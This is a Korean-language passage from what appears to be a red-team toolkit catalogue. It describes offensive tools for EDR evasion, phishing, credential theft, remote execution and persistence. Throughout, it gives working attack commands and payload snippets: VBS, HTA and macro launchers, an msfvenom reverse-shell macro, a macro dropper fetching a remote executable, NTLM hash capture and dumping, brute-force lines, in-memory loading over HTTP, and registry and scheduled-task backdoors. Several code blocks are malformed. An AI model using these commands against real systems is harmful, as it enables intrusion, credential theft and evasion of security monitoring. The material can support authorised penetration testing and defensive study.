이 스크립트는 원격 이미지가 포함된 Microsoft Word 문서를 생성하여 원격 피해자 엔드포인트로부터 NTML 해시를 캡처할 수 있도록 합니다.
Microsoft Word는 공격자가 제어하는 SMB 서버에 호스팅된 원격 이미지를 포함하여 원격 위치의 이미지를 포함할 수 있는 기능을 제공합니다. 이를 통해 인증된 피해자가 Word 문서를 열고 이미지를 렌더링할 때 전송되는 NTLM 해시를 수신 및 캡처할 수 있는 기회를 얻을 수 있습니다.
**설치:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
사용법:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n

_이미지 출처: https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_
---
### [🔙](#tool-list)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)
이 프레임워크에서 사용된 기술에 대해 더 자세히 알고 싶다면, SourceZero 블로그와 원본 도구를 참고하십시오.
**설명:**
Freeze.rs는 EDR 보안 제어를 우회하여 셸코드를 은밀하게 실행하기 위한 페이로드 생성 도구입니다. Freeze.rs는 여러 기술을 사용하여 Userland EDR 후크를 제거할 뿐만 아니라, 다른 엔드포인트 모니터링 제어를 우회하는 방식으로 셸코드를 실행합니다.
**일시 중단된 프로세스 생성:**
프로세스가 생성될 때 Ntdll.dll이 가장 먼저 로드되며, 이는 EDR DLL이 로드되기 전에 발생합니다. 즉, EDR이 로드되어 시스템 DLL의 어셈블리를 후킹하고 수정하기까지 약간의 지연이 있습니다. Ntdll.dll의 Windows 시스템 콜을 살펴보면 아직 아무것도 후킹되지 않은 것을 볼 수 있습니다. 일시 중단 상태(시간이 정지된 상태)로 프로세스를 생성하면 Ntdll.dll을 제외한 다른 DLL은 로드되지 않음을 확인할 수 있습니다. 또한 EDR DLL도 로드되지 않았으므로 Ntdll.dll에 있는 시스템 콜이 수정되지 않았음을 알 수 있습니다.

**주소 공간 레이아웃 무작위화**
이 깨끗한 일시 중단 프로세스를 사용하여 Freeze.rs 로더에서 후크를 제거하려면, 깨끗한 일시 중단 프로세스의 메모리를 프로그래밍 방식으로 찾아 읽을 방법이 필요합니다. 여기서 주소 공간 레이아웃 무작위화(ASLR)가 사용됩니다. ASLR은 스택 메모리 손상 기반 취약점을 방지하기 위한 보안 메커니즘입니다. ASLR은 프로세스 내의 주소 공간을 무작위화하여 메모리 매핑된 모든 객체, 스택, 힙, 실행 프로그램 자체가 고유하도록 보장합니다. 흥미로운 점은 ASLR이 작동하지만 DLL과 같은 위치 독립 코드에는 적용되지 않는다는 것입니다. DLL(특히 알려진 시스템 DLL)의 경우 주소 공간이 부팅 시 한 번 무작위화됩니다. 즉, 원격 프로세스 정보를 열거하지 않아도 ntdll.dll의 기본 주소를 찾을 수 있습니다. 왜냐하면 이 주소는 우리가 제어하는 프로세스를 포함한 모든 프로세스에서 동일하기 때문입니다. 모든 DLL의 주소는 부팅당 동일한 위치에 있으므로, 이 정보를 자신의 프로세스에서 가져올 수 있으며 일시 중단 프로세스를 열거하여 주소를 찾을 필요가 없습니다.

이 정보를 바탕으로 API ReadProcessMemory를 사용하여 프로세스의 메모리를 읽을 수 있습니다. 이 API 호출은 일반적으로 자격 증명 기반 공격의 일환으로 LSASS를 읽는 것과 관련이 있지만, 그 자체로는 본질적으로 악의적이지 않습니다. 특히 임의의 메모리 섹션만 읽는 경우라면 더욱 그렇습니다. ReadProcessMemory가 의심스러운 것으로 플래그 되는 유일한 경우는 읽어서는 안 되는 것(예: LSASS의 내용)을 읽을 때입니다. EDR 제품은 ReadProcessMemory가 호출되었다는 사실 자체를 플래그 해서는 안 됩니다. 이 함수에는 합법적인 운영상의 사용 사례가 있으며, 플래그를 설정하면 많은 오탐(false positive)이 발생할 수 있기 때문입니다.
더 나아가, 전체 DLL을 읽는 대신 모든 시스템 콜이 저장된 Ntdll.dll의 .text 섹션만 읽음으로써 한 단계 더 발전시킬 수 있습니다.
이러한 요소를 결합하면, Ntdll.dll의 .text 섹션 복사본을 프로그래밍 방식으로 가져와 셸코드를 실행하기 전에 기존의 후킹된 .text 섹션을 덮어쓸 수 있습니다.
**ETW 패치**
ETW는 내장 시스템 콜을 사용하여 이 텔레메트리를 생성합니다. ETW는 Windows에 기본 내장된 기능이므로, 보안 제품이 정보에 접근하기 위해 ETW 시스템 콜을 "후킹"할 필요가 없습니다. 결과적으로 ETW를 방지하기 위해 Freeze.rs는 여러 ETW 시스템 콜을 패치하여 레지스터를 비우고 실행 흐름을 다음 명령어로 반환합니다. ETW 패치는 이제 모든 로더에서 기본적으로 사용됩니다.
**셸코드**

Rust의 NTAPI 크레이트를 사용하면 이러한 모든 호출이 ntdll.dll 아래에 표시되지 않지만, 프로세스 내에는 여전히 존재함을 알 수 있습니다.

결과:


**왜 Rust인가?**
이 프로젝트는 Rust를 배우기 위한 재미있는 프로젝트로 시작되었으며, 지금은 자체 프레임워크로 성장했습니다.
**기여하기**
Freeze.rs는 Rust로 개발되었습니다.
**설치**
Rust와 Rustup이 설치되지 않은 경우 먼저 설치하십시오. OSX 또는 Linux에서 컴파일하는 경우 "x86_64-pc-windows-gnu" 타겟이 추가되어 있는지 확인하십시오. 이를 위해 다음 명령을 실행하십시오:
완료되면 Freeze.rs를 컴파일하거나, 다음 명령을 실행하거나, 컴파일된 바이너리를 사용할 수 있습니다:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release
그러면 컴파일된 버전은 target/release에서 찾을 수 있습니다 (참고: --release를 넣지 않으면 파일은 target/debug/에 있을 것입니다.)```bash
___________
_ /_ ____ ____ ________ ____ _______ ______
| ) _ __ _/ __ _/ __ \_ // __ \ _ __ / /
| \ | | /\ /\ / / /\ / | | /_
_ / || _ >_ >___ \___ > /\ |__| /____ >
/ / / / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE: Freeze-rs [FLAGS] [OPTIONS]
FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information
OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.
**Binary vs DLL**
Freeze.rs는 .exe 또는 .dll 파일을 생성할 수 있습니다. 이를 지정하려면 -O 명령줄 옵션이 바이너리의 경우 .exe로, DLL의 경우 .dll로 끝나도록 해야 합니다. 현재 다른 파일 형식은 지원되지 않습니다. DLL 파일의 경우 Freeze.rs는 추가 내보내기 기능을 추가할 수도 있습니다. 이렇게 하려면 -export 옵션을 특정 내보내기 함수 이름과 함께 사용하세요.
**Encryption**
셸코드를 암호화하는 것은 EDR 및 기타 보안 제품에 의해 탐지되고 분석되는 것을 방지하는 중요한 기술입니다. Freeze.rs는 셸코드를 암호화하는 여러 방법을 제공하며, 여기에는 AES, ELZMA 및 RC4가 포함됩니다.
**AES**
AES(Advanced Encryption Standard)는 데이터를 암호화하는 데 널리 사용되는 대칭 암호화 알고리즘입니다. Freeze.rs는 AES-256 비트 크기를 사용하여 셸코드를 암호화합니다. AES를 사용하여 셸코드를 암호화하는 장점은 강력한 암호화를 제공하고 암호화 라이브러리에서 널리 지원된다는 점입니다. 그러나 고정 블록 크기를 사용하면 패딩 오라클 공격과 같은 특정 공격에 취약해질 수 있습니다.
**ELZMA**
ELZMA는 코드를 난독화하기 위해 악성코드에서 자주 사용되는 압축 및 암호화 알고리즘입니다. ELZMA를 사용하여 셸코드를 암호화하려면 먼저 ELZMA 알고리즘을 사용하여 셸코드를 압축합니다. 그런 다음 압축된 데이터를 임의의 키로 암호화합니다. 암호화된 데이터와 키는 익스플로잇 코드에 포함됩니다. ELZMA를 사용하여 셸코드를 암호화하는 장점은 단일 알고리즘에서 압축과 암호화를 모두 제공한다는 점입니다. 이는 익스플로잇 코드의 크기를 줄이고 탐지를 더 어렵게 만드는 데 도움이 됩니다.
**RC4**
RC4는 악성코드에서 셸코드를 암호화하는 데 자주 사용되는 대칭 암호화 알고리즘입니다. 가변 길이 키를 사용할 수 있는 스트림 암호이며 단순성과 속도로 잘 알려져 있습니다.
**Console**
Freeze.rs는 먼저 프로세스를 생성한 다음 이를 백그라운드로 이동시키는 기술을 활용합니다. 이는 두 가지 역할을 합니다. 첫째로 프로세스를 숨기는 데 도움이 되고, 둘째로 EDR 제품에 의해 탐지되는 것을 방지합니다. 프로세스를 바로 백그라운드로 생성하는 것은 매우 의심스럽고 악성 행위의 지표가 될 수 있습니다. Freeze.rs는 프로세스가 생성되고 EDR의 후크가 로드된 후 'GetConsoleWindow' 및 'ShowWindow' Windows 함수를 호출한 다음 창 속성을 숨김으로 변경하여 이를 수행합니다.
-Console 명령줄 옵션이 선택되면 Freeze.rs는 프로세스를 백그라운드에 숨기지 않습니다. 대신 Freeze.rs는 로더가 수행하는 작업을 보여주는 여러 디버그 메시지를 추가합니다.
---
### [🔙](#tool-list)WSH
**페이로드 생성:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
실행:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**페이로드 생성:**```html
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
실행: 파일 실행
페이로드 생성:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**실행:** 매크로 사용 문서에서 Auto_Open() 함수로 설정
# 초기 액세스
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Bash Bunny는 물리적 USB 공격 도구이자 다기능 페이로드 전달 시스템입니다. 컴퓨터의 USB 포트에 연결하도록 설계되었으며, 데이터 조작 및 유출, 악성 코드 설치, 보안 조치 우회 등 다양한 기능을 수행하도록 프로그래밍할 수 있습니다.
[hackinglab: Bash Bunny – 가이드](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Hak5 문서](https://docs.hak5.org/bash-bunny/)
[유용한 페이로드 저장소](https://github.com/hak5/bashbunny-payloads)
[제품 페이지](https://hak5.org/products/bash-bunny)

### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish는 강력한 오픈 소스 피싱 프레임워크로, 조직의 피싱 노출을 쉽게 테스트할 수 있게 해줍니다. (evilginx2) 단독형 중간자 공격 프레임워크로, 로그인 자격 증명과 세션 쿠키를 피싱하여 2단계 인증을 우회하는 데 사용됩니다.
**설치:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
사용법:``` Usage: ./setup <subdomain(s)>

### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
이 프레임워크는 초기 접근을 위한 캠페인을 만드는 데 탁월합니다. 'SET은 사용자가 신뢰할 수 있는 공격을 빠르게 구성할 수 있도록 다양한 사용자 정의 공격 벡터를 제공합니다.'
**설치:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
사용법:```bash python3 setoolkit

### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
로그인 무차별 대입 공격에 유용한 도구입니다. SSH, FTP, TELNET, HTTP 등 여러 서비스를 대상으로 bf를 수행할 수 있습니다.
**설치:**```bash
sudo apt install hydra
사용법:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh

### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish은 OAuth 기기 코드 인증 흐름과 QR 코드를 결합한 기술을 사용하는 고급 피싱 도구입니다 (피싱 공격을 위한 OAuth 기기 코드 흐름에 대한 자세한 내용은 [PhishInSuits](https://github.com/secureworks/PhishInSuits) 참조).
공격 단계:
- 피해자에게 악성 QR 코드 전송
- 피해자가 모바일 기기로 QR 코드 스캔
- 피해자가 공격자가 제어하는 서버로 이동 (OAuth 기기 코드 인증 흐름 프로세스 트리거)
- 피해자에게 MFA 코드 이메일 발송 (OAuth 기기 코드 흐름 15분 타이머 트리거)
- 공격자가 인증을 위해 폴링
- 피해자가 합법적인 Microsoft 웹사이트에 코드 입력
- 공격자가 인증 토큰 저장
**설치:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
참고: 각 모듈을 사용하기 전에 settings.config 파일에서 Required라고 표시된 필수 정보를 업데이트하십시오.
사용법 (이메일 모듈):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**사용법 (서버 모듈):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging

King Phisher는 공격자가 피해자에게 피싱 이메일을 생성하고 전송하여 민감한 정보를 획득할 수 있게 해주는 도구입니다.
사용자 정의 가능한 템플릿, 캠페인 관리, 이메일 발송 기능과 같은 특징을 갖추고 있어 피싱 공격을 수행하기 위한 강력하고 사용하기 쉬운 도구입니다. King Phisher를 사용하면 공격자는 개인이나 조직을 대상으로 맞춤형이고 설득력 있는 피싱 이메일을 보내 공격 성공 가능성을 높일 수 있습니다.
설치 (Linux - 클라이언트 및 서버):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**사용법:**
King Phisher가 설치된 후에는 [wiki 페이지](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started)를 따라 SSH, 데이터베이스 설정, SMTP 서버 등을 구성하십시오.

# 실행
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder는 네트워크에서 LLMNR 및 NBT-NS 프로토콜을 중독시켜 자격 증명을 탈취하고 임의 코드를 실행할 수 있도록 하는 도구입니다.
LLMNR(링크-로컬 멀티캐스트 이름 확인) 및 NBT-NS(NetBIOS 이름 서비스) 프로토콜은 Windows 시스템이 로컬 네트워크에서 호스트 이름을 IP 주소로 확인하는 데 사용됩니다. 이러한 프로토콜을 사용하여 호스트 이름을 확인할 수 없는 경우 시스템은 로컬 네트워크에 호스트 이름에 대한 요청을 브로드캐스트합니다.
Responder는 이러한 브로드캐스트를 수신하고 가짜 IP 주소로 응답하여 요청 시스템이 공격자에게 자격 증명을 보내도록 속입니다.
**설치:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
사용법:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
전체 사용 정보는 [여기](https://github.com/SpiderLabs/Responder#usage)에서 찾을 수 있습니다.

_Image used from https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Impacket 라이브러리의 일부인 유틸리티로, Windows 시스템에서 암호 해시 및 기타 비밀 정보를 추출하는 데 사용할 수 있습니다.
이는 시스템의 SAM(Security Account Manager) 데이터베이스와 상호작용하여 해시된 암호 및 기타 정보를 추출함으로써 수행됩니다. 예를 들어:
- 로컬 계정의 암호 해시
- Kerberos 티켓 및 키
- LSA 비밀 정보
**설치:**```bash
python3 -m pip install impacket
사용법:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]

_이미지 출처: https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM은 Windows Remote Management(WinRM: _관리자가 Windows 머신에서 명령을 원격으로 실행할 수 있게 해주는 서비스_)를 위한 명령줄 인터페이스를 제공하는 도구입니다.
Evil-WinRM은 공격자가 WinRM을 사용하여 Windows 머신에 원격으로 연결하고 임의의 명령을 실행할 수 있게 해줍니다.
일부 기능은 다음과 같습니다:
- 메모리에 Powershell 스크립트 로드
- 일부 AV를 우회하는 메모리 내 dll 파일 로드
- x64 페이로드 로드
- Pass-the-hash 지원
- 로컬 및 원격 파일 업로드/다운로드
**설치: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
설치: (Ruby gem)```bash gem install evil-winrm
대체 설치 방법은 [여기](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods)에서 확인할 수 있습니다.
**사용법:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
전체 사용법 문서는 여기에서 찾을 수 있습니다.

이미지 출처: https://korbinian-spielvogel.de/posts/heist-writeup/
VBScript, JScript, EXE, DLL 파일 및 dotNET 어셈블리를 메모리에서 실행하기 위한 도구입니다. 디스크에 파일을 떨어뜨리지 않고 대상 시스템에서 사용자 정의 페이로드를 로드하고 실행하는 데 사용할 수 있습니다.
설치: (Windows)```bash git clone http://github.com/thewover/donut.git
로더 템플릿, 동적 라이브러리 donut.dll, 정적 라이브러리 donut.lib 및 생성기 donut.exe를 생성하려면 x64 Microsoft Visual Studio 개발자 명령 프롬프트를 시작하고, Donut 리포지토리를 클론한 디렉터리로 이동한 후 다음을 입력하십시오:```bash
nmake -f Makefile.msvc
동일한 작업을 수행하려면, Windows 또는 Linux에서 MinGW-64를 사용하는 경우를 제외하고, Donut 저장소를 클론한 디렉토리로 변경한 후 다음을 입력하십시오:```bash make -f Makefile.mingw
**설치: (Linux)**```bash
pip3 install donut-shellcode
사용법:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
전체 사용 정보는 donut [GitHub 페이지](https://github.com/TheWover/donut/#4-usage)를 참조하세요.
자세한 내용은 The Wover의 [최근 블로그 게시물](https://thewover.github.io/Bear-Claw/)을 참조하세요.

### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
레드 팀 운영을 위해 Office 문서, VB 스크립트, 바로가기 및 기타 형식의 난독화 및 생성을 자동화하는 도구입니다.
**설치: (바이너리)**
1. 최신 바이너리를 [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)에서 다운로드하세요.
2. 정품 Microsoft Office가 설치된 PC에 바이너리를 다운로드하세요.
3. 콘솔을 열고 바이너리 디렉토리로 이동한 후 바이너리를 실행하세요.
**설치: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
사용법:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx

### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
레드팀 작업 목표를 달성하기 위해 사용할 수 있는 PowerShell 스크립트 및 모듈 모음입니다.
PowerSploit의 주요 기능:
- 비밀번호 해시 덤프 및 메모리에서 일반 텍스트 비밀번호 추출
- 권한 상승 및 보안 제어 우회
- 임의의 PowerShell 코드 실행 및 실행 제한 우회
- 네트워크 정찰 및 검색 수행
- 페이로드 생성 및 익스플로잇 실행
**설치:** _1. PowerShell 모듈 폴더에 저장_
먼저 [PowerSploit 폴더](https://github.com/PowerShellMafia/PowerSploit)를 다운로드하여 PowerShell 모듈 폴더에 저장해야 합니다.
PowerShell 모듈 폴더 경로는 다음 명령으로 확인할 수 있습니다:
```powershell
$env:PSModulePath
$Env:PSModulePath
**설치:** _2. PowerSploit을 PowerShell 모듈로 설치하십시오_
그러면 PowerSploit 모듈을 설치해야 합니다 (다운로드한 폴더의 이름을 사용하십시오).
**참고:** _PowerShell 실행 정책이 차단할 수 있습니다. 이를 해결하려면 다음 명령을 실행하십시오._```
powershell.exe -ep bypass
이제 PowerSploit 모듈을 설치할 수 있습니다.``` Import-Module PowerSploit
**사용법:**```
Get-Command -Module PowerSploit

Microsoft Active Directory(AD) 환경과 관련된 다양한 작업(예: 비밀번호 해시 덤프, 사용자 생성/삭제, 사용자 속성 수정)을 수행하는 데 사용할 수 있는 도구입니다.
Rubeus의 일부 기능:
설치: (다운로드)
비공식 사전 컴파일된 Rubeus 바이너리를 여기에서 설치할 수 있습니다.
설치: (컴파일)
Rubeus는 Visual Studio 2019 Community Edition과 호환됩니다. rubeus 프로젝트 .sln을 열고 "Release"를 선택한 후 빌드하세요.
사용법:``` Rubeus.exe -h

### [🔙](#tool-list)[SharpUp](https://github.com/GhostPack/SharpUp)
피해자 엔드포인트에서 높은 권한의 프로세스, 그룹, 하이재킹 가능한 경로 등과 관련된 취약점을 확인하는 유용한 도구입니다.
**설치: (다운로드)**
비공식 사전 컴파일된 SharpUp 바이너리를 [여기](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe)에서 설치할 수 있습니다.
**설치: (컴파일)**
SharpUp은 [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409)과 호환됩니다. SharpUp [프로젝트 .sln](https://github.com/GhostPack/SharpUp)을 열고 "Release"를 선택한 후 빌드하세요.
**사용법:**```bash
SharpUp.exe audit
#-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths
#-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths
#-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.

MS-SQL (Microsoft SQL Server)은 Microsoft에서 개발 및 판매하는 관계형 데이터베이스 관리 시스템입니다.
이 C# MS-SQL 도구 키트는 공격적 정찰 및 사후 익스플로잇을 위해 설계되었습니다. 각 기술에 대한 자세한 사용 정보는 위키를 참조하십시오.
설치: (바이너리)
최신 바이너리 릴리스는 여기에서 다운로드할 수 있습니다.
사용법:```bash
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Full usage information can be found on the [wiki](https://github.com/skahwah/SQLRecon/wiki).
Tool module usage information can be found [here](https://github.com/skahwah/SQLRecon#usage).

_SQLRecon 도움말 페이지에서 가져온 이미지_
### [🔙](#tool-list)[UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList)
이 리소스는 AppLocker를 우회하는 가장 일반적이고 알려진 기술들의 모음입니다.
AppLocker는 다양한 방식으로 구성될 수 있으므로 [@api0cradle](https://github.com/api0cradle)은 기본 AppLocker 규칙에 대해 작동하는 확인된 우회 목록과 구성에 따른 가능한 우회 기술 또는 누군가에 의해 우회라고 주장된 목록을 유지 관리합니다.
또한 일반적인 우회 기술 목록과 DLL을 통해 실행하는 방법의 레거시 목록도 있습니다.
색인된 목록
- [Generic-AppLockerbypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)
- [VerifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md)
- [UnverifiedAppLockerBypasses.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/UnverifiedAppLockerBypasses.md)
- [DLL-Execution.md](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md)

_이미지는 https://github.com/api0cradle/UltimateAppLockerByPassList 에서 가져옴_
### [🔙](#tool-list)[StarFighters](https://github.com/Cn33liz/StarFighters)
자체 내장 PowerShell 호스트 내에서 실행되는 JavaScript 및 VBScript 기반 Empire 런처입니다.
두 런처 모두 자체 내장 PowerShell 호스트 내에서 실행되므로 PowerShell.exe가 필요하지 않습니다.
이는 회사에서 PowerShell.exe를 차단하거나 응용 프로그램 허용 목록 솔루션을 사용하지만 JS/VBS 파일 실행을 차단하지 않는 경우 유용할 수 있습니다.
**사용법:**
- PowerShell Empire 내에서 새 리스너 설정
- Launcher 명령을 사용하여 이 리스너에 대한 PowerShell 런처 생성
- StarFighter JavaScript 또는 VBScript 파일 내에서 Base64로 인코딩된 런처 페이로드를 복사하여 교체
JavaScript 버전의 경우 다음 변수를 사용하십시오:```javascript
var EncodedPayload = "<Paste Encoded Launcher Payload Here>";
VBScript 버전의 경우 다음 변수를 사용하세요:```vbscript Dim EncodedPayload: EncodedPayload = ""
- 그런 다음 대상에서 wscript.exe StarFighter.js 또는 StarFighter.vbs를 실행하거나 탐색기에서 실행기를 더블클릭합니다.

_이미지 출처: https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html_
### [🔙](#tool-list)[demiguise](https://github.com/nccgroup/demiguise)
이 프로젝트의 목표는 암호화된 HTA 파일을 포함하는 .html 파일을 생성하는 것입니다.
아이디어는 대상자가 페이지를 방문하면 키를 가져와 브라우저 내에서 동적으로 HTA를 해독하여 사용자에게 직접 푸시한다는 것입니다.
이는 일부 보안 장비가 구현하는 콘텐츠/파일 유형 검사를 우회하는 회피 기술입니다.
추가 기술 정보는 [여기](https://github.com/nccgroup/demiguise#how-does-it-do-it)를 참조하세요.
**설치:**```
git clone https://github.com/nccgroup/demiguise
cd demiguise
사용법:```bash
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta

_이미지 출처: https://github.com/nccgroup/demiguise_
# 지속성
### [🔙](#tool-list)[Impacket](https://github.com/fortra/impacket)
Impacket은 SMB, Kerberos, LDAP을 포함한 다양한 네트워크 프로토콜을 위한 저수준 Python 바인딩과, 네트워크 서비스와 상호작용하고 비밀번호 해시 덤프 및 네트워크 공유 생성과 같은 특정 작업을 수행하기 위한 고수준 라이브러리 세트를 제공합니다.
또한 SAM 데이터베이스 덤프, 도메인 트러스트 열거, Windows 비밀번호 크래킹과 같은 다양한 작업을 수행할 수 있는 여러 명령줄 도구를 포함하고 있습니다.
**설치:**```bash
python3 -m pip install impacket
설치: (예제 스크립트 포함)
패키지를 다운로드하고 압축을 푼 다음, 설치 폴더로 이동하여 실행하세요...```bash python3 -m pip install .
**사용법:**```bash
# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
# Gets a list of the sessions opened at the remote hosts
netview.py domain/user:password -target 192.168.10.2
# Retrieves the MSSQL instances names from the target host.
mssqlinstance.py 192.168.1.2
# This script will gather data about the domain's users and their corresponding email addresses.
GetADUsers.py domain/user:password@IP
Impacket 사용을 위한 훌륭한 치트 시트입니다.

Empire는 피해자 시스템과의 원격 연결을 설정하기 위한 페이로드를 생성할 수 있는 사후 침투 프레임워크입니다.
페이로드가 피해자 시스템에서 실행되면 Empire 서버로 다시 연결되어 명령을 내리고 대상 시스템을 제어하는 데 사용할 수 있습니다.
Empire는 또한 비밀번호 해시 덤프, Windows 레지스트리 액세스, 데이터 유출과 같은 특정 작업을 수행하는 데 사용할 수 있는 여러 내장 모듈과 스크립트를 포함합니다.
설치:```bash git clone https://github.com/EmpireProject/Empire cd Empire sudo ./setup/install.sh
**사용법:**```bash
# Start Empire
./empire
# List live agents
list agents
# List live listeners
list listeners
Nice usage cheat sheet by HarmJoy.

C#으로 작성된 Windows 지속성 툴킷입니다.
이 프로젝트에는 위키가 있습니다.
설치: (바이너리)
가장 최신 릴리스를 여기에서 찾을 수 있습니다.
설치: (컴파일)
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11사용 방법:
전체 사용 예제 목록은 여기에서 확인할 수 있습니다.``` #KeePass SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

### [🔙](#tool-list)[ligolo-ng](https://github.com/nicocha30/ligolo-ng)
